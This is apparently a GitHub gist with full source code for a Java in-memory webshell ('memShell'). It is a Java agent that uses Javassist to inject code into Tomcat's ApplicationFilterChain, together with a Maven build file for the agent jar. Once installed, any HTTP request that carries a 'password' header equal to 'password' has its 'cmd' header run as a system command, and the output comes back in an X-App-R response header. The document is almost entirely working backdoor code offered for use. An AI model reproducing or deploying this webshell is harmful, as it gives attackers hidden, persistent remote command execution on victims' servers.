Skip to content

Instantly share code, notes, and snippets.

@XuCcc
Created July 18, 2020 09:33
Show Gist options
  • Save XuCcc/4e12e4d998f4b74f9349bba07cd45167 to your computer and use it in GitHub Desktop.
Save XuCcc/4e12e4d998f4b74f9349bba07cd45167 to your computer and use it in GitHub Desktop.
javawebshell
package pers.xu.webshell;
import pers.xu.webshell.util.Log;
import java.lang.instrument.Instrumentation;
import java.util.logging.Logger;
public class Agent {
public static final int AGENT_DELAY = 30;
private static Logger LOG = Logger.getLogger(Agent.class.getName());
public static void premain(String agentArgs, Instrumentation inst) {
init(agentArgs, inst);
}
public static void agentmain(String agentArgs, Instrumentation inst) {
init(agentArgs, inst);
}
private static void init(String agentArgs, Instrumentation inst) {
Log.init(true, true);
try {
inst.addTransformer(new Transformer(), true);
} catch (Throwable e) {
Log.error("transform error", e);
}
}
}
package pers.xu.webshell;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import javassist.NotFoundException;
import pers.xu.webshell.util.Log;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformer implements ClassFileTransformer {
private static final String CLASS = "org.apache.catalina.core.ApplicationFilterChain";
private static final String METHOD = "internalDoFilter";
private static String CODE = "pers.xu.webshell.manage.Manager.handle(" +
"(javax.servlet.http.HttpServletRequest) $1," +
"(javax.servlet.http.HttpServletResponse) $2" +
");";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!CLASS.replace(".", "/").equals(className)) {
return classfileBuffer;
}
try {
CtClass ctClass = getCtClass(loader, className, classfileBuffer);
if (ctClass == null) {
return classfileBuffer;
}
CtMethod ctMethod = ctClass.getDeclaredMethod(METHOD);
ctMethod.insertBefore(CODE);
byte[] byptes = ctClass.toBytecode();
ctClass.detach();
return byptes;
} catch (NotFoundException e) {
Log.error("Class not find", e);
} catch (CannotCompileException e1) {
Log.error("translate class fail", e1);
} catch (IOException e2) {
Log.error("turn into bytes fail", e2);
}
return classfileBuffer;
}
private CtClass getCtClass(ClassLoader classLoader, String className, byte[] classfileBuffer) throws IOException {
CtClass ctClass = null;
ClassPool classPool = new ClassPool();
addLoaderToClassPool(classPool, classLoader);
try {
ctClass = classPool.get(className.replace('/', '.'));
} catch (Exception e) {
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
}
if (ctClass != null) {
if (ctClass.isFrozen()) {
ctClass.defrost();
}
}
return ctClass;
}
private void addLoaderToClassPool(ClassPool classPool, ClassLoader loader) {
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
}
}
package pers.xu.webshell.ref;
import java.util.HashMap;
import java.util.Map;
public class RefServletHttpRequest {
private Object request;
public RefServletHttpRequest(Object object) {
this.request = object;
}
public String getQueryString() {
try {
return (String) request.getClass().getMethod("getQueryString", null)
.invoke(request);
} catch (Exception e) {
return "";
}
}
public Map<String, String[]> getParameterMap() {
try {
return (Map<String, String[]>) request.getClass().getMethod("getParameterMap", null)
.invoke(request);
} catch (Exception e) {
return new HashMap<>();
}
}
public String getParameter(String key) {
try {
return (String) request.getClass().getMethod("getParameter", String.class)
.invoke(request, key);
} catch (Exception e) {
return "";
}
}
public String getRequestURL() {
try {
return ((StringBuffer) request.getClass().getMethod("getRequestURL")
.invoke(request)).toString();
} catch (Exception e) {
return "";
}
}
public String getRequestURI() {
try {
return (String) request.getClass().getMethod("getRequestURI", null)
.invoke(request);
} catch (Exception e) {
return "";
}
}
public String getRemoteAddr() {
try {
return (String) request.getClass().getMethod("getRemoteAddr", null)
.invoke(request);
} catch (Exception e) {
return "";
}
}
public String getMethod() {
try {
return (String) request.getClass().getMethod("getMethod", null)
.invoke(request);
} catch (Exception e) {
return "";
}
}
public String getHeader(String key) {
try {
return (String) request.getClass().getMethod("getHeader", String.class)
.invoke(request, key);
} catch (Exception e) {
return "";
}
}
}
package pers.xu.webshell.ref;
import pers.xu.webshell.util.Log;
public class RefServletHttpResponse {
private Object response;
public RefServletHttpResponse(Object object) {
this.response = object;
}
public void addHeader(String key, String value) {
try {
response.getClass().getMethod("addHeader", String.class, String.class)
.invoke(response, key, value);
} catch (Exception e) {
Log.warn(e.toString());
}
}
public void setHeader(String key, String value) {
try {
response.getClass().getMethod("setHeader", String.class, String.class)
.invoke(response, key, value);
} catch (Exception e) {
Log.warn(e.toString());
}
}
}
package pers.xu.webshell.manage;
import pers.xu.webshell.util.Log;
import pers.xu.webshell.ref.RefServletHttpRequest;
import pers.xu.webshell.ref.RefServletHttpResponse;
import pers.xu.webshell.util.Utils;
public class Manager {
private static final String PASSWORD_KEY = "password";
private static final String PASSWORD_VALUE = "password";
private static final String RESULT_KEY = "X-App-R";
private static final String CMD_KEY = "cmd";
private RefServletHttpRequest request;
private RefServletHttpResponse response;
public Manager(RefServletHttpRequest request, RefServletHttpResponse response) {
this.request = request;
this.response = response;
}
public static void handle(Object req, Object res) {
try {
RefServletHttpRequest request = new RefServletHttpRequest(req);
RefServletHttpResponse response = new RefServletHttpResponse(res);
Manager m = new Manager(request, response);
m.doFilter();
} catch (Exception e) {
Log.error(e.toString());
}
}
private void doFilter() {
if (!PASSWORD_VALUE.equalsIgnoreCase(request.getHeader(PASSWORD_KEY))) {
clear();
return;
}
if (!Utils.isBlankString(request.getHeader(CMD_KEY))) {
String result = Utils.exec(request.getHeader(CMD_KEY));
setResult(result);
}
}
private void setResult(String result) {
response.setHeader(RESULT_KEY, result);
}
private void clear() {
response.setHeader(RESULT_KEY, "none");
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>pers.xu.webshell</groupId>
<artifactId>memShell</artifactId>
<version>0.0.1</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>pers.xu.webshell.Agent</Premain-Class>
<Agent-Class>pers.xu.webshell.Agent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.2.4</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<relocations>
<relocation>
<pattern>org.javassist</pattern>
<shadedPattern>xu.vender.org.javassist</shadedPattern>
</relocation>
</relocations>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.7.0</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>
</project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment